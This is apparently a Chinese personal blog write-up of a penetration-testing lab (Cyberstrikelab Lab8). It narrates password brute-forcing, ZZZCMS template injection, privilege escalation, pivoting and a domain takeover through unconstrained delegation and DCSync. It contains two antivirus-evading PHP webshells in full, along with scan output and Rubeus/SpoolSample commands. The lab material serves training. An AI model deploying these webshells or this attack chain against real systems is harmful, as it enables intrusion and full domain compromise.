Cyberstrikelab Lab8

这一次打靶后,我优化了一些操作,之前包括第一次打这台靶机时,做socks代理和端口转发都是上传chisel和socat到跳板机上,一般会开个好几个窗口出来,在事物繁多的情况下会搞得有点混乱。


看了别人的wp后,采用更加一体化的工具Stowaway来搭建多级网络代理



先使用chisel在主机和kali之间搭个隧道,主要是让主机能够访问靶机

image
image


打开网站,后台很直接明了的在/admin目录下
这里是有弱口令的,但是我第一次却没爆出来,我用的是fuzzDicts里的密码字典,后来看了一下,字典内容比较的欧美

image


Cyberstrike是模拟的国内环境,包括这个CMS也是国产的
这就体现了具体问题具体分析的重要性,应该找一个更符合国情的密码字典,在github上找了一个叫SuperWordlist的,字典虽然老但影响不大

image




内容非常有内味


image




密码爆出来是admin123456,用户admin,稍微有点经验的师傅用手敲都能找到,我挖src时也会手动尝试这个弱口令,但是这里没这么做


爆破密码的最佳实践就是从最小的规模(也是最可能的)开始,逐渐扩大,从手敲几个最常见的开始,然后top100/500,有用户名等信息可以用规则生成字典然后混合(规则也先用最好且最小的) 然后更大


渗透测试的很多场景下的操作都应该如此,能不做的扫描就不做,能少流量就少流量,能做推断就推断


进入后台,上传利用不了,任何文件都不能上传


有一个模板管理的功能,并且内容看起来像某种模板引擎


image


在网上查找ZZZCMS 模板注入相关的漏洞,在github上找到了一个poc,观察代码逻辑,操作就是在一个html文件里的内容加入php代码,执行User-agent中的内容

image


image


在search.html中写入php代码,访问/search抓包,修改user-agent执行命令


在user-agent中执行命令不好操作,而且不知什么原因弹不回来shell(但有时又可以)

image


所以再上传一个webshell,这里上传常见的webshell是会被杀掉的
再网上找了篇文章薅了些简单的免杀马
<?php
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
call_user_func(function() {
$cmd = function($params){
extract($params);
$a($b);
};
$cmd($_REQUEST);
});
}
<?php
class test{
public $id = array('a'=>'1','b'=>'2');
function __wakeup(){
echo $this;
}


function __toString(){
call_user_func(function() {
$cmd = function($params){
extract($params);
$a($b);
};
$cmd($this->id);
});
}
};
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
$test1 = $_GET['string'];
$test2 = unserialize($test1);
}


据说这种免杀的思路是被漏洞启发的,逻辑也比较复杂,很值得学习

上传webshell

image


访问并反弹shell

image


whoami /priv查看权限有SeImpersonatePrivilege

image


那就用各种土豆来提权,使用juicypotato,sweetpotato,printspoofer都没成功,最终badpotato成功提权并返回一个shell

image


这台机器上有360,但我不知道为啥他没杀badpotato,那我就当它不存在了

image


提权之后简单做了点信息收集,包括数据库的账号密码,可以做hashdump,因为这里做这个是没用的所以就不写了,但是一定要做


使用Stowaway建立socks代理

image


Stowaway集成了很多功能,可以原地起一个shell,非常方便
ipconfig看到还有一个网卡

image


先上传一个fscan简单扫描一下


由于现在没有明确的方向,那就扩大扫描范围


./fscan.exe -h 10.5.5.1/24

start infoscan
(icmp) Target 10.5.5.2        is alive
(icmp) Target 10.5.5.33       is alive
(icmp) Target 10.5.5.66       is alive
[*] Icmp alive hosts len is: 3
10.5.5.33:139 open
10.5.5.2:139 open
10.5.5.2:3306 open
10.5.5.66:445 open
10.5.5.33:445 open
10.5.5.2:445 open
10.5.5.66:139 open
10.5.5.66:135 open
10.5.5.33:135 open
10.5.5.2:135 open
10.5.5.2:80 open
10.5.5.66:88 open
[*] alive ports len is: 12
start vulscan
[+] NetInfo:
[*]10.5.5.33
   [->]cyberweb
   [->]10.5.5.33
[+] NetInfo:
[*]10.5.5.2
   [->]WIN-NQOLAOUO8C1
   [->]172.50.12.33
   [->]10.5.5.2
[+] NetInfo:
[*]10.5.5.66
   [->]DC
   [->]10.5.5.66
[*] 10.5.5.66  (Windows Server 2012 R2 Standard 9600)
[*] 10.5.5.33  (Windows Server 2016 Standard 14393)
[*] 10.5.5.66      [+]DC __MSBROWSE__\DC                Windows Server 2012 R2 Standard 9600
[*] WebTitle:http://10.5.5.2           code:200 len:20013  title:cyberstrikelabzzzcms
[*] 10.5.5.33            CYBERSTRIKELAB\CYBERWEB          Windows Server 2016 Standard 14393

扫出两个域机器,其中一个是域控制器

到这里并没有什么思路,所以扩大扫描范围,用nmap进行详细地扫描

┌──(re1sen㉿kali)-[~/tools/linuxup]
└─$ sudo proxychains -q nmap -sT -Pn -sV -O -sC -p53,88,135,139,389,445,49152,49153,49154,49155,49157,1 10.5.5.66 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 17:51 CST
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 54.55% done; ETC: 17:52 (0:00:52 remaining)
Stats: 0:01:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.50% done; ETC: 17:52 (0:00:00 remaining)
Nmap scan report for 10.5.5.66
Host is up (0.14s latency).

PORT      STATE  SERVICE      VERSION
1/tcp     closed tcpmux
53/tcp    open   domain       Simple DNS Plus
88/tcp    open   kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-30 01:51:09Z)
135/tcp   open   msrpc        Microsoft Windows RPC
139/tcp   open   netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open   ldap         Microsoft Windows Active Directory LDAP (Domain: cyberstrikelab.com, Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: CYBERSTRIKELAB)
49152/tcp open   msrpc        Microsoft Windows RPC
49153/tcp open   msrpc        Microsoft Windows RPC
49154/tcp open   msrpc        Microsoft Windows RPC
49155/tcp open   msrpc        Microsoft Windows RPC
49157/tcp open   msrpc        Microsoft Windows RPC
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -10h40m00s, deviation: 4h37m05s, median: -8h00m01s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2012::-
|   Computer name: DC
|   NetBIOS computer name: DC\x00
|   Domain name: cyberstrikelab.com
|   Forest name: cyberstrikelab.com
|   FQDN: DC.cyberstrikelab.com
|_  System time: 2026-03-30T09:52:39+08:00
| smb2-time: 
|   date: 2026-03-30T01:52:41
|_  start_date: 2026-03-30T00:28:10
| smb2-security-mode: 
|   3:0:2: 
|_    Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.61 seconds
┌──(re1sen㉿kali)-[~/tools/linuxup]
└─$ sudo proxychains -q nmap -sT -Pn -F 10.5.5.33                                                             
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 17:54 CST
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 42.00% done; ETC: 17:56 (0:00:57 remaining)
Stats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 82.00% done; ETC: 17:56 (0:00:18 remaining)
Nmap scan report for 10.5.5.33
Host is up (1.1s latency).
Not shown: 96 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

之后通过netexec尝试利用SMB空会话和guest用户空密码列出用户或者共享,但都被拒绝访问


rpcclient也连不上,也无法进行rid爆破


看跳板机上dump下的hash能不能复用,也是失败


传了个kerbrute到跳板机进行域用户枚举,除了administrator什么也没跑出来


能想的都想了,那就只能爆破了


尝试爆破cyberweb主机的账号,用的字典和上次一样,字典中越靠前的条目出现的可能性越大(非常合理的设计)

image


因为账号是administrator,直接用psexec横向移动提升到system权限

image


这里也可以继续做hashdump,收集收集信息、凭据啥的,看看能不能直接登陆上DC


拿到了CYBERWEB$主机账号的NTLM哈希,可以用它通过bloodhound-python收集域内信息


这里直接使用bloodhound-python会报一个DNS的错,域控的DNS服务不可用,可以使用dnschef充当DNS服务器
# file
[A]     # Queries for IPv4 address records
dc.cyberstrikelab.com=10.5.5.66
cyberweb.CYBERSTRIKELAB.COM=10.5.5.33

[SRV]
; FORMAT: priority weight port target
*.*.*.*.cyberstrikelab.com=0 5 5060 dc.cyberstrikelab.com

image


看到CYBERWEB机器是有非约束委派的权限的

image


接下来思路明确,把要用到工具上传到CYBERWEB上


先通过Stowaway在跳板机上建立一个反向的端口转发

image


然后把Rubeus,mimikatz,SpoolSample.exe(结合打印机漏洞)下载下来

image


用Rubeus每隔一秒监听一次来自DC主机的票据
c:\Users\Administrator> Rubeus.exe monitor /interval:1 /filteruser:DC$
 
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.4.2 

[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for 4624 logon events
[*] Target user : DC$
c:\Users\Administrator> SpoolSample.exe DC CYBERWEB
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
'SpoolSample.exe' �����ڲ����ⲿ���Ҳ���ǿ����еij���
�����������


c:\Users\Administrator> spools.exe DC CYBERWEB
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function

拿到了TGT的base64格式

image


导入票据

image


直接用mimikatz做Dcsync,拿到域管hash,登录域控结束


image



Stowaway确实非常方便,之前也用过类似的工具Venom,但是工具不能只会一种,有时一个工具可能会失效,那就需要用到别的工具。也不能太依赖一体化的大型工具,也要知道怎么用比较原始的手段做某些操作

posted @ 2026-03-31 12:32  巡璃27  阅读(17)  评论(0)    收藏  举报